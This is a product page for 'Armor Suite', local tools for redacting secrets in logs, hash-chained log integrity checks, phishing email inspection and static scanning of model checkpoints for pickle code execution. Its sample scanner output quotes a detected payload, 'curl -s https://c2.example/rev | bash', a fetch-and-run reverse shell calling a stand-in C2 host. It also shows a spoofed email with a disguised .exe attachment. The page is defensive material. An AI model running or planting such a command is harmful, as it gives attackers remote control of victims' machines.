Armor Suite
Four independent solutions for the local security of sensitive data, execution logs, enterprise communications, and AI model weights. Zero data sent to external servers, zero cloud dependencies.
100% Local Protection
- LogArmor: Scan, censor, and mask API keys, IPs, and email addresses from log files before sharing.
- LogArmor Replay: Cryptographic log sealing (SHA-256) to verify tamper-free integrity over time.
- MailArmor: Local static inspection for
.emlemail files, SPF/DKIM/DMARC verification, and automatic link/attachment defanging. - WeightArmor: Offline static scanner for AI model checkpoints and weights (Pickle, PyTorch, Safetensors) against arbitrary code execution (RCE).
- 100% offline processing on the local machine.
LogArmor
Session logs from AI agents (Cursor, Claude Code, Aider, proprietary scripts) frequently contain plaintext API keys (OpenAI, Gemini, Anthropic), authentication tokens, private IPs, and emails. LogArmor identifies these patterns and masks them with standardized tags.
- Credential pattern recognition across major AI providers
- Masking with standard tags (e.g.,
[OPENAI_API_KEY],[IPV4_ADDRESS]) - Secure shredding and overwriting on demand
[-] BEFORE: "auth_header": "Bearer sk-proj-9A8b7c6D5e4F3g2H1jK..." "remote_ip": "192.168.1.105", "user_email": "management@company.example" [+] AFTER LOGARMOR SANITIZATION: "auth_header": "Bearer [OPENAI_API_KEY]" "remote_ip": "[IPV4_ADDRESS]", "user_email": "[EMAIL_ADDRESS]"
LogArmor Replay
In case of anomalies or regulatory compliance (EU AI Act), how do you prove that an AI agent's execution log was not modified or tampered with retroactively? Replay computes a progressive line-by-line cryptographic chain: if a log is altered by even a single character, signature verification fails, identifying the exact tampered line.
- Immutable progressive SHA-256 signature chain
- Instant line-by-line detection of deletions, insertions, or modifications
- Evidentiary audit report suitable for compliance and security reviews
Chain check: 142 lines verified Lines 001..087: ✓ INTEGRITY CONFIRMED (SHA-256) Line 088: ✗ ANOMALY: HASH MISMATCH Detail: Line 88 text was altered Outcome: POST-SESSION TAMPERING DETECTED
MailArmor
Local forensic inspection for email files (.eml). Enables IT teams and users to verify suspicious emails before opening them: verifies authentic origin (SPF, DKIM, DMARC), automatically defangs dangerous links (hxxps://), and catalogs attachments with their SHA-256 signatures without ever executing them on the system.
- Sender / Return-Path alignment check against spoofing
- Automatic web link defanging to prevent accidental clicks
- Safe static attachment inspection without execution or macro triggers
From: alerts@secure-bank.example Return-Path: attacker@fake-server.example [MISMATCH] DMARC/SPF: FAIL (Unauthorized sender) Defanged links found (2): - hxxps://login-fake-portal[.]example/reset Attachments (1): - urgent_invoice.pdf.exe (SHA-256: 4f8a...) Verdict: HIGH RISK (Spoofing & Phishing)
WeightArmor
Offline static scanner for AI model checkpoints and weights (.pt, .pth, .bin, .pkl, .safetensors). Inspects Pickle bytecode without ever executing the file, intercepting dangerous system calls (os.system, subprocess, network sockets) prior to model ingestion in inference pipelines.
- Pickle bytecode analysis without executing code, eliminating Remote Code Execution (RCE) takeover risks
- Zero external dependencies: runs on pure Python standard library without PyTorch or CUDA
- Recursive model directory scanning and instant Safetensors header validation
Target: checkpoint_epoch_12.pt (1.2 GB) Format: PyTorch / Pickle Protocol 4 Opcode: GENOPS (stack simulation active) Dangerous global detected: - nt.system / posix.system [CRITICAL] - Argument: 'curl -s https://c2.example/rev | bash' Verdict: [CRITICAL RISK] RCE / Reverse Shell detected Action: File quarantined before memory loading
Protect Your Processes with Armor Suite
All modules in the Armor Suite operate 100% locally and autonomously, guaranteeing complete industrial confidentiality for your proprietary data.